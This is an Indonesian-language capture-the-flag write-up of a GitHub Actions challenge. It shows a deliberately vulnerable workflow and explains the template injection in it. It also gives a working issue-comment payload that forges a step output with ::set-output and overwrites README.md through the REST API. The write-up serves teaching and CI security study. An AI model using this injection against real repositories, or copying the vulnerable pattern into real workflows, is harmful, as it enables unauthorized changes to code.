Bulan Maret 2021, GitHub mengadakan security competition, yaitu Capture The Flag yang menjadikan Github Action Workflow sebagai tantangannya.
Peserta diberikan sebuah repositori pribadi yang berisi sebuah Github Action Workflow dan file Readme yang hanya memiliki akses baca atau pull saja. Tujuan dari tantangan ini yaitu peserta diharuskan melakukan update file di repositori tersebut.
Problem
name: log and process issue comments
on:
issue_comment:
types: [created]
jobs:
issue_comment:
name: log issue comment
runs-on: ubuntu-latest
steps:
- id: comment_log
name: log issue comment
uses: actions/github-script@v3
env:
COMMENT_BODY: ${{ github.event.comment.body }}
COMMENT_ID: ${{ github.event.comment.id }}
with:
github-token: "deadc0de"
script: |
console.log(process.env.COMMENT_BODY)
return process.env.COMMENT_ID
result-encoding: string
- id: comment_process
name: process comment
uses: actions/github-script@v3
timeout-minutes: 1
if: ${{ steps.comment_log.outputs.COMMENT_ID }}
with:
script: |
const id = ${{ steps.comment_log.outputs.COMMENT_ID }}
return ""
result-encoding: string
Analysis
Sesuai dengan namanya, Github Action di atas memiliki flow untuk melakukan logging dari komentar pada issue yang sudah dibuat. Pada step pertama, Github Action memiliki env yaitu COMMENT_BODY
dan COMMENT_ID
. Kemudian ia akan melakukan logging isi dari badan komentar menggunakan console.log.
Pada step kedua, terdapat pengecekan kondisi apabila keluaran dari COMMENT_ID
pada step pertama bernilai true
atau 1
, maka Github Action akan mengeksekusi script berikut const id = ${{ steps.comment_log.outputs.COMMENT_ID }}
yang mana, terdapat celah keamanan yaitu javascript template injection.
Namun sebelum bisa memanfaatkan celah template injection, terlebih dahulu harus memenuhi kondisi COMMENT_ID == true
. Dalam dokumentasi GitHub, workflow runner akan mengeksekusi workflow command melalui stdout
yaitu console.log
, dan dalam dokumentasi GitHub juga terdapat command yang dapat membagikan nilai variable antar workflow melalui command set-output
.
Exploit
Untuk memperbarui file README.md
yang ada dalam repositori, maka tambahkan script berikut pada komentar issue:
::set-output name=COMMENT_ID::1;
await github.request('PUT /repos/{owner}/{repo}/contents/{path}',
{
owner: 'incrediblysecureinc',
repo: 'incredibly-secure-fadhilthomas',
path: 'README.md',
message: 'update: escalation',
content: 'dGFrZW5z',
sha: '4183b7e35a40d11acf98bad686ed2f6834cd71d0'
})
Penjelasan dari script di atas sebagai berikut:
::set-output name=COMMENT_ID::1;
berfungsi untuk mengirimkan nilaiCOMMENT_ID
ke step kedua untuk memenuhi pengecekan kondisi.github.request('PUT /repos/{owner}/{repo}/contents/{path}
merupakan GitHub REST API untuk memperbarui file.
Hasil dari script di atas adalah file README.md
berhasil diperbarui sesuai dengan tujuan dari tantangan ini.
References
- https://docs.github.com/en/actions/reference/workflow-commands-for-github-actions#stopping-and-starting-workflow-commands
- https://docs.github.com/en/actions/reference/workflow-commands-for-github-actions#setting-an-output-parameter
- https://docs.github.com/en/rest/reference/repos#create-or-update-file-contents